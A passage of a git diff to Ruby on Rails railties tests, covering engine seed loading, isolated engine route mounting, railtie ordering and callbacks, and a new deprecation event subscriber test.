+          def index
+            render plain: bukkits_awesome.bar_path
+          end
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/awesome/bar_controller.rb", <<-RUBY
+        class Bukkits::Awesome::BarController < ActionController::Base
+          def index
+            render plain: "ok"
+          end
+        end
+      RUBY
+
+      add_to_config("config.action_dispatch.show_exceptions = :none")
+
+      boot_rails
+
+      get("/bukkits/foo")
+      assert_equal "/bukkits/awesome/bar", last_response.body
+      get("/bukkits/awesome/bar")
+      assert_equal "ok", last_response.body
+    end
+
     test "loading seed data" do
       @plugin.write "db/seeds.rb", <<-RUBY
         Bukkits::Engine.config.bukkits_seeds_loaded = true
@@ -867,6 +1157,68 @@ def index
       assert Bukkits::Engine.config.bukkits_seeds_loaded
     end
 
+    test "loading seed data is wrapped by the executor" do
+      app_file "db/seeds.rb", <<-RUBY
+        Rails.application.config.seeding_wrapped_by_executor = Rails.application.executor.active?
+      RUBY
+
+      boot_rails
+      Rails.application.load_seed
+
+      assert_predicate Rails.application.config, :seeding_wrapped_by_executor
+    end
+
+    test "inline jobs do not clear CurrentAttributes when loading seed data" do
+      app_file "db/seeds.rb", <<-RUBY
+        class SeedsAttributes < ActiveSupport::CurrentAttributes
+          attribute :foo
+        end
+
+        class SeedsJob < ActiveJob::Base
+          self.queue_adapter = :inline
+          def perform
+            Rails.application.config.seeds_job_ran = true
+          end
+        end
+
+        SeedsAttributes.foo = 42
+        SeedsJob.perform_later
+        Rails.application.config.seeds_attributes_foo = SeedsAttributes.foo
+      RUBY
+
+      boot_rails
+      Rails.application.load_seed
+
+      assert Rails.application.config.seeds_job_ran
+      assert_equal 42, Rails.application.config.seeds_attributes_foo
+    end
+
+    test "seed data can be loaded when ActiveJob is not present" do
+      @plugin.write "db/seeds.rb", <<-RUBY
+        Bukkits::Engine.config.bukkits_seeds_loaded = true
+      RUBY
+
+      app_file "db/seeds.rb", <<-RUBY
+        Rails.application.config.app_seeds_loaded = true
+      RUBY
+
+      boot_rails
+
+      # In a real app, config.active_job would be undefined when
+      # NOT requiring rails/all AND NOT requiring active_job/railtie
+      # that doesn't work as expected in this test environment, so:
+      undefine_config_option(:active_job)
+      assert_raise(NoMethodError) { Rails.application.config.active_job }
+
+      assert_raise(NoMethodError) { Rails.application.config.app_seeds_loaded }
+      assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded }
+
+      Rails.application.load_seed
+      assert Rails.application.config.app_seeds_loaded
+      Bukkits::Engine.load_seed
+      assert Bukkits::Engine.config.bukkits_seeds_loaded
+    end
+
     test "skips nonexistent seed data" do
       FileUtils.rm "#{app_path}/db/seeds.rb"
       boot_rails
@@ -882,7 +1234,17 @@ class Engine < ::Rails::Engine
         end
       RUBY
 
-      add_to_config "isolate_namespace AppTemplate"
+      engine "loaded_first" do |plugin|
+        plugin.write "lib/loaded_first.rb", <<-RUBY
+          module AppTemplate
+            module LoadedFirst
+              class Engine < ::Rails::Engine
+                isolate_namespace(AppTemplate)
+              end
+            end
+          end
+        RUBY
+      end
 
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do end
@@ -890,7 +1252,7 @@ class Engine < ::Rails::Engine
 
       boot_rails
 
-      assert_equal AppTemplate::Engine, AppTemplate.railtie_namespace
+      assert_equal AppTemplate::LoadedFirst::Engine, AppTemplate.railtie_namespace
     end
 
     test "properly reload routes" do
@@ -956,15 +1318,15 @@ class Engine < ::Rails::Engine
 
       boot_rails
 
-      app_generators = Rails.application.config.generators.options[:rails]
-      assert_equal :mongoid  , app_generators[:orm]
-      assert_equal :liquid   , app_generators[:template_engine]
-      assert_equal :test_unit, app_generators[:test_framework]
+      app_generators = Rails.application.config.generators
+      assert_equal :mongoid, app_generators.orm
+      assert_equal :liquid, app_generators.template_engine
+      assert_equal :test_unit, app_generators.test_framework
 
-      generators = Bukkits::Engine.config.generators.options[:rails]
-      assert_equal :data_mapper, generators[:orm]
-      assert_equal :haml      , generators[:template_engine]
-      assert_equal :rspec     , generators[:test_framework]
+      generators = Bukkits::Engine.config.generators
+      assert_equal :data_mapper, generators.orm
+      assert_equal :haml, generators.template_engine
+      assert_equal :rspec, generators.test_framework
     end
 
     test "engine should get default generators with ability to overwrite them" do
@@ -978,12 +1340,12 @@ class Engine < ::Rails::Engine
 
       boot_rails
 
-      generators = Bukkits::Engine.config.generators.options[:rails]
-      assert_equal :active_record, generators[:orm]
-      assert_equal :rspec        , generators[:test_framework]
+      generators = Bukkits::Engine.config.generators
+      assert_equal :active_record, generators.orm
+      assert_equal :rspec, generators.test_framework
 
-      app_generators = Rails.application.config.generators.options[:rails]
-      assert_equal :test_unit    , app_generators[:test_framework]
+      app_generators = Rails.application.config.generators
+      assert_equal :test_unit, app_generators.test_framework
     end
 
     test "do not create table_name_prefix method if it already exists" do
@@ -1004,6 +1366,32 @@ class Engine < ::Rails::Engine
       assert_equal "foo", Bukkits.table_name_prefix
     end
 
+    test "take ActiveRecord table_name_prefix into consideration when defining table_name_prefix" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace(Bukkits)
+          end
+        end
+      RUBY
+
+      @plugin.write "app/models/bukkits/post.rb", <<-RUBY
+        module Bukkits
+          class Post < ActiveRecord::Base
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.active_record.table_name_prefix = "ar_prefix_"
+      RUBY
+
+      boot_rails
+
+      assert_equal "ar_prefix_bukkits_posts", Bukkits::Post.table_name
+      assert_equal "ar_prefix_bukkits_", Bukkits.table_name_prefix
+    end
+
     test "fetching engine by path" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
@@ -1057,7 +1445,7 @@ def baz
         end
       RUBY
 
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       boot_rails
 
@@ -1085,11 +1473,11 @@ class Engine < ::Rails::Engine
       controller "main", <<-RUBY
         class MainController < ActionController::Base
           def foo
-            render inline: '<%= render :partial => "shared/foo" %>'
+            render inline: '<%= render partial: "application/foo" %>'
           end
 
           def bar
-            render inline: '<%= render :partial => "shared/bar" %>'
+            render inline: '<%= render partial: "application/bar" %>'
           end
         end
       RUBY
@@ -1101,19 +1489,19 @@ def bar
         end
       RUBY
 
-      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+      @plugin.write "app/views/application/_foo.html.erb", <<-RUBY
         Bukkit's foo partial
       RUBY
 
-      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+      app_file "app/views/application/_foo.html.erb", <<-RUBY
         App's foo partial
       RUBY
 
-      @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+      @blog.write "app/views/application/_bar.html.erb", <<-RUBY
         Blog's bar partial
       RUBY
 
-      app_file "app/views/shared/_bar.html.erb", <<-RUBY
+      app_file "app/views/application/_bar.html.erb", <<-RUBY
         App's bar partial
       RUBY
 
@@ -1145,14 +1533,34 @@ def bar
       assert_equal "App's bar partial", last_response.body.strip
 
       get("/assets/foo.js")
-      assert_match "// Bukkit's foo js", last_response.body.strip
+      assert_predicate last_response, :not_found?
 
       get("/assets/bar.js")
-      assert_match "// App's bar js", last_response.body.strip
-
-      # ensure that railties are not added twice
-      railties = Rails.application.send(:ordered_railties).map(&:class)
-      assert_equal railties, railties.uniq
+      assert_predicate last_response, :not_found?
+
+      assert_equal <<~EXPECTED, Rails.application.send(:ordered_railties).flatten.map(&:class).map(&:name).join("\n") << "\n"
+        I18n::Railtie
+        ActiveSupport::Railtie
+        ActionDispatch::Railtie
+        ActiveModel::Railtie
+        ActionController::Railtie
+        ActiveRecord::Railtie
+        GlobalID::Railtie
+        ActiveJob::Railtie
+        ActionMailer::Railtie
+        Rails::TestUnitRailtie
+        Propshaft::Railtie
+        ActionView::Railtie
+        ActiveStorage::Engine
+        ActionCable::Engine
+        ActionMailbox::Engine
+        Trix::Engine
+        ActionText::Engine
+        Bukkits::Engine
+        Importmap::Engine
+        AppTemplate::Application
+        Blog::Engine
+      EXPECTED
     end
 
     test "railties_order adds :all with lowest priority if not given" do
@@ -1166,7 +1574,7 @@ class Engine < ::Rails::Engine
       controller "main", <<-RUBY
         class MainController < ActionController::Base
           def foo
-            render inline: '<%= render :partial => "shared/foo" %>'
+            render inline: '<%= render partial: "application/foo" %>'
           end
         end
       RUBY
@@ -1177,11 +1585,11 @@ def foo
         end
       RUBY
 
-      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+      @plugin.write "app/views/application/_foo.html.erb", <<-RUBY
         Bukkit's foo partial
       RUBY
 
-      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+      app_file "app/views/application/_foo.html.erb", <<-RUBY
         App's foo partial
       RUBY
 
@@ -1194,7 +1602,7 @@ def foo
     end
 
     test "engine can be properly mounted at root" do
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
       add_to_config("config.public_file_server.enabled = false")
 
       @plugin.write "lib/bukkits.rb", <<-RUBY
@@ -1285,10 +1693,10 @@ def index
 
       boot_rails
 
-      get("/bukkits/bukkit", {}, "SCRIPT_NAME" => "/foo")
+      get("/bukkits/bukkit", {}, { "SCRIPT_NAME" => "/foo" })
       assert_equal "/foo/bar", last_response.body
 
-      get("/bar", {}, "SCRIPT_NAME" => "/foo")
+      get("/bar", {}, { "SCRIPT_NAME" => "/foo" })
       assert_equal "/foo/bukkits/bukkit", last_response.body
     end
 
@@ -1306,7 +1714,11 @@ class Engine < ::Rails::Engine
       app_file "app/controllers/bar_controller.rb", <<-RUBY
         class BarController < ApplicationController
           def index
-            render plain: bukkits.bukkit_path
+            text = <<~TEXT
+              bukkits.bukkit_path: \#{bukkits.bukkit_path}
+              Bukkits::Engine.routes.url_helpers.bukkit_path: \#{Bukkits::Engine.routes.url_helpers.bukkit_path}
+            TEXT
+            render plain: text
           end
         end
       RUBY
@@ -1327,23 +1739,208 @@ def index
       @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY
         class Bukkits::BukkitController < ActionController::Base
           def index
-            render plain: main_app.bar_path
+            text = <<~TEXT
+              main_app.bar_path: \#{main_app.bar_path}
+              Rails.application.routes.url_helpers.bar_path: \#{Rails.application.routes.url_helpers.bar_path}
+            TEXT
+            render plain: text
           end
         end
       RUBY
 
       boot_rails
 
-      get("/bukkits/bukkit", {}, "SCRIPT_NAME" => "/foo")
-      assert_equal "/foo/bar", last_response.body
+      expected = <<~TEXT
+        main_app.bar_path: /foo/bar
+        Rails.application.routes.url_helpers.bar_path: /foo/bar
+      TEXT
+      get("/bukkits/bukkit", {}, { "SCRIPT_NAME" => "/foo" })
+      assert_equal expected,
+                   last_response.body
 
-      get("/bar", {}, "SCRIPT_NAME" => "/foo")
-      assert_equal "/foo/bukkits/bukkit", last_response.body
+      expected = <<~TEXT
+        bukkits.bukkit_path: /foo/bukkits/bukkit
+        Bukkits::Engine.routes.url_helpers.bukkit_path: /foo/bukkits/bukkit
+      TEXT
+      get("/bar", {}, { "SCRIPT_NAME" => "/foo" })
+      assert_equal expected,
+                   last_response.body
+    end
+
+    test "isolated engine can be mounted under multiple static locations" do
+      app_file "app/controllers/foos_controller.rb", <<-RUBY
+        class FoosController < ApplicationController
+          def through_fruits
+            render plain: fruit_bukkits.posts_path
+          end
+
+          def through_vegetables
+            render plain: vegetable_bukkits.posts_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          scope "/fruits" do
+            mount Bukkits::Engine => "/bukkits", as: :fruit_bukkits
+          end
+
+          scope "/vegetables" do
+            mount Bukkits::Engine => "/bukkits", as: :vegetable_bukkits
+          end
+
+          get "/through_fruits" => "foos#through_fruits"
+          get "/through_vegetables" => "foos#through_vegetables"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/through_fruits")
+      assert_equal "/fruits/bukkits/posts", last_response.body
+
+      get("/through_vegetables")
+      assert_equal "/vegetables/bukkits/posts", last_response.body
+    end
+
+    test "isolated engine can be mounted under multiple dynamic locations" do
+      app_file "app/controllers/foos_controller.rb", <<-RUBY
+        class FoosController < ApplicationController
+          def through_fruits
+            render plain: fruit_bukkits.posts_path(fruit_id: 1)
+          end
+
+          def through_vegetables
+            render plain: vegetable_bukkits.posts_path(vegetable_id: 1)
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :fruits do
+            mount Bukkits::Engine => "/bukkits"
+          end
+
+          resources :vegetables do
+            mount Bukkits::Engine => "/bukkits"
+          end
+
+          get "/through_fruits" => "foos#through_fruits"
+          get "/through_vegetables" => "foos#through_vegetables"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/through_fruits")
+      assert_equal "/fruits/1/bukkits/posts", last_response.body
+
+      get("/through_vegetables")
+      assert_equal "/vegetables/1/bukkits/posts", last_response.body
+    end
+
+    test "route helpers resolve script name correctly when called with different script name from current one" do
+      @plugin.write "app/controllers/posts_controller.rb", <<-RUBY
+        class PostsController < ActionController::Base
+          def index
+            render plain: fruit_bukkits.posts_path(fruit_id: 2)
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :fruits do
+            mount Bukkits::Engine => "/bukkits"
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/fruits/1/bukkits/posts")
+      assert_equal "/fruits/2/bukkits/posts", last_response.body
+    end
+
+    test "active_storage:install task works within engine" do
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load "rails/tasks/engine.rake"
+      RUBY
+
+      Dir.chdir(@plugin.path) do
+        assert_command_succeeds("bundle exec rake app:active_storage:install")
+
+        active_storage_migration = migrations.detect { |migration| migration.name == "CreateActiveStorageTables" }
+        assert active_storage_migration
+      end
+    end
+
+    test "active_storage:update task works within engine" do
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load "rails/tasks/engine.rake"
+      RUBY
+
+      Dir.chdir(@plugin.path) do
+        assert_command_succeeds("bundle exec rake app:active_storage:update")
+
+        assert migrations.detect { |migration| migration.name == "AddServiceNameToActiveStorageBlobs" }
+        assert migrations.detect { |migration| migration.name == "CreateActiveStorageVariantRecords" }
+      end
     end
 
   private
     def app
       Rails.application
     end
+
+    def undefine_config_option(name)
+      Rails.application.config.class.class_variable_get(:@@options).delete(name)
+    end
+
+    # Restrict frameworks to load in order to avoid engine frameworks affect tests.
+    def restrict_frameworks
+      remove_from_config('require "rails/all"')
+      remove_from_config('require_relative "boot"')
+      remove_from_env_config("development", "config.active_storage.*")
+      frameworks = <<~RUBY
+        require "rails"
+        require "active_model/railtie"
+        require "active_job/railtie"
+        require "active_record/railtie"
+        require "action_controller/railtie"
+        require "action_mailer/railtie"
+        require "action_view/railtie"
+        require "rails/test_unit/railtie"
+      RUBY
+      environment = File.read("#{app_path}/config/application.rb")
+      File.open("#{app_path}/config/application.rb", "w") { |f| f.puts frameworks + "\n" + environment }
+    end
+
+    def assert_command_succeeds(command)
+      output = `#{command}`
+      assert_predicate $?, :success?, "Command did not succeed: #{command}\n#{output}"
+    end
   end
 end
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
index 5c691b9ec4ad9..67267dc736263 100644
--- a/railties/test/railties/generators_test.rb
+++ b/railties/test/railties/generators_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 RAILS_ISOLATED_ENGINE = true
 require "isolation/abstract_unit"
 
@@ -42,8 +44,8 @@ def build_engine(is_mountable = false)
           f.write <<-GEMFILE.gsub(/^ {12}/, "")
             source "https://rubygems.org"
 
-            gem 'rails', path: '#{RAILS_FRAMEWORK_ROOT}'
-            gem 'sqlite3'
+            gem "rails", path: "#{RAILS_FRAMEWORK_ROOT}"
+            gem "sqlite3"
           GEMFILE
         end
       end
@@ -77,7 +79,7 @@ def test_table_name_prefix_is_correctly_namespaced_when_engine_is_mountable
         bundled_rails("g model namespaced/topic")
         assert_file "app/models/foo_bar/namespaced.rb", /module FooBar\n  module Namespaced/ do |content|
           assert_class_method :table_name_prefix, content do |method_content|
-            assert_match(/'foo_bar_namespaced_'/, method_content)
+            assert_match(/"foo_bar_namespaced_"/, method_content)
           end
         end
       end
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index 5838d0d7e70c3..2f6114f4f3b08 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -9,7 +11,7 @@ class ApplicationRoutingTest < ActiveSupport::TestCase
     def setup
       build_app
 
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       @simple_plugin = engine "weblog"
       @plugin = engine "blog"
@@ -22,6 +24,7 @@ def setup
           get "/engine_route" => "application_generating#engine_route"
           get "/engine_route_in_view" => "application_generating#engine_route_in_view"
           get "/weblog_engine_route" => "application_generating#weblog_engine_route"
+          get "/weblog_through_metric_engine_route" => "application_generating#weblog_through_metric_engine_route"
           get "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
           get "/url_for_engine_route" => "application_generating#url_for_engine_route"
           get "/polymorphic_route" => "application_generating#polymorphic_route"
@@ -44,6 +47,7 @@ class Engine < ::Rails::Engine
       @simple_plugin.write "config/routes.rb", <<-RUBY
         Weblog::Engine.routes.draw do
           get '/weblog' => "weblogs#index", as: 'weblogs'
+          get '/generate_weblog_route' => "weblogs#generate_weblog_route", as: 'weblog_generate_weblog_route'
         end
       RUBY
 
@@ -52,6 +56,10 @@ class WeblogsController < ActionController::Base
           def index
             render plain: request.url
           end
+
+          def generate_weblog_route
+            render plain: weblog.weblogs_path
+          end
         end
       RUBY
 
@@ -111,10 +119,12 @@ class Engine < ::Rails::Engine
       @plugin.write "config/routes.rb", <<-RUBY
         Blog::Engine.routes.draw do
           resources :posts
+          get '/different_context', to: 'posts#different_context'
           get '/generate_application_route', to: 'posts#generate_application_route'
           get '/application_route_in_view', to: 'posts#application_route_in_view'
           get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'
           get '/engine_asset_path', to: 'posts#engine_asset_path'
+          get '/file_field_with_direct_upload_path', to: 'posts#file_field_with_direct_upload_path'
         end
       RUBY
 
@@ -125,6 +135,10 @@ def index
               render plain: blog.post_path(1)
             end
 
+            def different_context
+              render plain: blog.post_path(1, user: "ada")
+            end
+
             def generate_application_route
               path = main_app.url_for(controller: "/main",
                                  action: "index",
@@ -141,7 +155,11 @@ def engine_polymorphic_path
             end
 
             def engine_asset_path
-              render inline: "<%= asset_path 'images/foo.png' %>"
+              render inline: "<%= asset_path 'images/foo.png', skip_pipeline: true %>"
+            end
+
+            def file_field_with_direct_upload_path
+              render inline: "<%= file_field_tag :image, direct_upload: true %>"
             end
           end
         end
@@ -161,6 +179,13 @@ def weblog_engine_route
             render plain: weblog.weblogs_path
           end
 
+          def weblog_through_metric_engine_route
+            # trigger definition of route helper
+            weblog.weblogs_path
+
+            render plain: metrics.respond_to?(:weblogs_path)
+          end
+
           def weblog_engine_route_in_view
             render inline: "<%= weblog.weblogs_path %>"
           end
@@ -196,8 +221,12 @@ def app
       get "/john/blog/posts"
       assert_equal "/john/blog/posts/1", last_response.body
 
+      # test generating engine route from engine with a different context
+      get "/john/blog/different_context"
+      assert_equal "/ada/blog/posts/1", last_response.body
+
       # test generating engine's route from engine with default_url_options
-      get "/john/blog/posts", {}, "SCRIPT_NAME" => "/foo"
+      get "/john/blog/posts", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/john/blog/posts/1", last_response.body
 
       # test generating engine's route from application
@@ -211,17 +240,17 @@ def app
       assert_equal "/john/blog/posts", last_response.body
 
       # test generating engine's route from application with default_url_options
-      get "/engine_route", {}, "SCRIPT_NAME" => "/foo"
+      get "/engine_route", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/anonymous/blog/posts", last_response.body
 
-      get "/url_for_engine_route", {}, "SCRIPT_NAME" => "/foo"
+      get "/url_for_engine_route", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/john/blog/posts", last_response.body
 
       # test generating application's route from engine
       get "/someone/blog/generate_application_route"
       assert_equal "/", last_response.body
 
-      get "/somone/blog/application_route_in_view"
+      get "/someone/blog/application_route_in_view"
       assert_equal "/", last_response.body
 
       # test generating engine's route from other engine
@@ -232,14 +261,14 @@ def app
       assert_equal "/anonymous/blog/posts/1", last_response.body
 
       # test generating engine's route from other engine with default_url_options
-      get "/metrics/generate_blog_route", {}, "SCRIPT_NAME" => "/foo"
+      get "/metrics/generate_blog_route", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/anonymous/blog/posts/1", last_response.body
 
-      get "/metrics/generate_blog_route_in_view", {}, "SCRIPT_NAME" => "/foo"
+      get "/metrics/generate_blog_route_in_view", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/anonymous/blog/posts/1", last_response.body
 
       # test generating application's route from engine with default_url_options
-      get "/someone/blog/generate_application_route", {}, "SCRIPT_NAME" => "/foo"
+      get "/someone/blog/generate_application_route", {}, { "SCRIPT_NAME" => "/foo" }
       assert_equal "/foo/", last_response.body
 
       # test polymorphic routes
@@ -247,8 +276,8 @@ def app
       assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body
 
       # test that correct path is generated for the same polymorphic_path call in an engine
-      get "/somone/blog/engine_polymorphic_path"
-      assert_equal "/somone/blog/posts/44", last_response.body
+      get "/someone/blog/engine_polymorphic_path"
+      assert_equal "/someone/blog/posts/44", last_response.body
 
       # and in an application
       get "/application_polymorphic_path"
@@ -257,6 +286,18 @@ def app
       # test that asset path will not get script_name when generated in the engine
       get "/someone/blog/engine_asset_path"
       assert_equal "/images/foo.png", last_response.body
+
+      # test that the Active Storage direct upload URL is added to a file field that explicitly requires it within en engine's view code
+      get "/someone/blog/file_field_with_direct_upload_path"
+      assert_equal "<input type=\"file\" name=\"image\" id=\"image\" data-direct-upload-url=\"http://example.org/rails/active_storage/direct_uploads\" />", last_response.body
+
+      # test that correct path is generated in an engine mounted at root
+      get "/generate_weblog_route"
+      assert_equal "/weblog", last_response.body
+
+      # test that correct path is generated in an engine mounted at root with default_url_options
+      get "/generate_weblog_route", {}, { "SCRIPT_NAME" => "/1234" }
+      assert_equal "/1234/weblog", last_response.body
     end
 
     test "route path for controller action when engine is mounted at root" do
@@ -266,5 +307,10 @@ def app
       get "/weblog_engine_route_in_view"
       assert_equal "/weblog", last_response.body
     end
+
+    test "route helpers from weblog are not accessible through metrics engine" do
+      get "/weblog_through_metric_engine_route"
+      assert_equal "false", last_response.body
+    end
   end
 end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 30cd52526691c..ecb54ef6128da 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module RailtiesTest
@@ -6,7 +8,7 @@ class RailtieTest < ActiveSupport::TestCase
 
     def setup
       build_app
-      FileUtils.rm_rf("#{app_path}/config/environments")
+      reset_environment_configs
       require "rails/all"
     end
 
@@ -19,16 +21,22 @@ def app
     end
 
     test "cannot instantiate a Railtie object" do
-      assert_raise(RuntimeError) { Rails::Railtie.new }
+      assert_raise(RuntimeError) { Rails::Railtie.send(:new) }
+    end
+
+    test "respond_to? works in the abstract railties" do
+      assert_not_respond_to Rails::Railtie, :something_nice
+    end
+
+    test "method_missing works in the abstract railties" do
+      assert_raise(NoMethodError) { Rails::Railtie.something_nice }
     end
 
     test "Railtie provides railtie_name" do
-      begin
-        class ::FooBarBaz < Rails::Railtie ; end
-        assert_equal "foo_bar_baz", FooBarBaz.railtie_name
-      ensure
-        Object.send(:remove_const, :"FooBarBaz")
-      end
+      class ::FooBarBaz < Rails::Railtie ; end
+      assert_equal "foo_bar_baz", FooBarBaz.railtie_name
+    ensure
+      Object.send(:remove_const, :"FooBarBaz")
     end
 
     test "railtie_name can be set manually" do
@@ -63,7 +71,7 @@ class Foo < Rails::Railtie
     test "railtie can add to_prepare callbacks" do
       $to_prepare = false
       class Foo < Rails::Railtie ; config.to_prepare { $to_prepare = true } ; end
-      assert !$to_prepare
+      assert_not $to_prepare
       require "#{app_path}/config/environment"
       require "rack/test"
       extend Rack::Test::Methods
@@ -89,7 +97,7 @@ class Application < Rails::Application ; end
     test "railtie can add after_initialize callbacks" do
       $after_initialize = false
       class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
-      assert !$after_initialize
+      assert_not $after_initialize
       require "#{app_path}/config/environment"
       assert $after_initialize
     end
@@ -105,7 +113,7 @@ class MyTie < Rails::Railtie
 
       require "#{app_path}/config/environment"
 
-      assert !$ran_block
+      assert_not $ran_block
       require "rake"
       require "rake/testtask"
       require "rdoc/task"
@@ -149,7 +157,7 @@ class MyTie < Rails::Railtie
 
       require "#{app_path}/config/environment"
 
-      assert !$ran_block
+      assert_not $ran_block
       Rails.application.load_generators
       assert $ran_block
     end
@@ -165,11 +173,27 @@ class MyTie < Rails::Railtie
 
       require "#{app_path}/config/environment"
 
-      assert !$ran_block
+      assert_not $ran_block
       Rails.application.load_console
       assert $ran_block
     end
 
+    test "server block is executed when MyApp.load_server is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        server do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert_not $ran_block
+      Rails.application.load_server
+      assert $ran_block
+    end
+
     test "runner block is executed when MyApp.load_runner is called" do
       $ran_block = false
 
@@ -181,7 +205,7 @@ class MyTie < Rails::Railtie
 
       require "#{app_path}/config/environment"
 
-      assert !$ran_block
+      assert_not $ran_block
       Rails.application.load_runner
       assert $ran_block
     end
@@ -195,20 +219,52 @@ class MyTie < Rails::Railtie
         end
       end
 
-      assert !$ran_block
+      assert_not $ran_block
       require "#{app_path}/config/environment"
       assert $ran_block
     end
 
     test "we can change our environment if we want to" do
-      begin
-        original_env = Rails.env
-        Rails.env = "foo"
-        assert_equal("foo", Rails.env)
-      ensure
-        Rails.env = original_env
-        assert_equal(original_env, Rails.env)
+      original_env = Rails.env
+      Rails.env = "foo"
+      assert_equal("foo", Rails.env)
+    ensure
+      Rails.env = original_env
+      assert_equal(original_env, Rails.env)
+    end
+
+    test "Railtie object isn't output when a NoMethodError is raised" do
+      class Foo < Rails::Railtie
+        config.foo = ActiveSupport::OrderedOptions.new
+        config.foo.greetings = "hello"
+      end
+
+      error = assert_raises(NoMethodError) do
+        Foo.instance.abc
       end
+
+      assert_match(/undefined method [`']abc' for.*RailtiesTest::RailtieTest::Foo/, error.original_message)
+    end
+
+    test "rake environment can be called in the ralitie" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        rake_tasks do
+          $ran_block = true
+        end
+      end
+
+      ::APP_RAKEFILE = "#{app_path}/Rakefile"
+      require "#{app_path}/config/environment"
+
+      assert_not $ran_block
+      require "rake"
+      require "rake/testtask"
+      require "rdoc/task"
+      load "rails/tasks/engine.rake"
+
+      assert $ran_block
     end
   end
 end
diff --git a/railties/test/structured_event_subscriber_test.rb b/railties/test/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..210d32e6606c4
--- /dev/null
+++ b/railties/test/structured_event_subscriber_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+require "rails/structured_event_subscriber"
+
+module Rails
+  class StructuredEventSubscriberTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    def test_deprecation_is_notified_when_behavior_is_notify
+      Rails.deprecator.with(behavior: :notify) do
+        event = assert_event_reported("rails.deprecation", payload: { gem_name: "Rails" }) do
+          Rails.deprecator.warn("This is a deprecation warning")
+        end
+
+        assert_includes event[:payload][:message], "This is a deprecation warning"
+        assert_includes event[:payload].keys, :callstack
+        assert_includes event[:payload].keys, :gem_name
+        assert_includes event[:payload].keys, :deprecation_horizon
+      end
+    end
+
+    def test_deprecation_is_not_notified_when_behavior_is_not_notify
+      Rails.deprecator.with(behavior: :stderr) do
+        output = capture(:stderr) do
+          assert_no_event_reported("rails.deprecation") do
+            Rails.deprecator.warn("This is a deprecation warning")
+          end
+        end
+
+        assert_includes output, "This is a deprecation warning"
+      end
+    end
+  end
+end
diff --git a/railties/test/test_unit/reporter_test.rb b/railties/test/test_unit/reporter_test.rb
index e22c939981066..8764e07f3c3fc 100644
--- a/railties/test/test_unit/reporter_test.rb
+++ b/railties/test/test_unit/reporter_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/test_unit/reporter"
 require "minitest/mock"
@@ -13,34 +15,34 @@ def woot; end
   end
 
   test "prints rerun snippet to run a single failed test" do
-    @reporter.record(failed_test)
+    record(failed_test)
     @reporter.report
 
-    assert_match %r{^bin/rails test .*test/test_unit/reporter_test.rb:\d+$}, @output.string
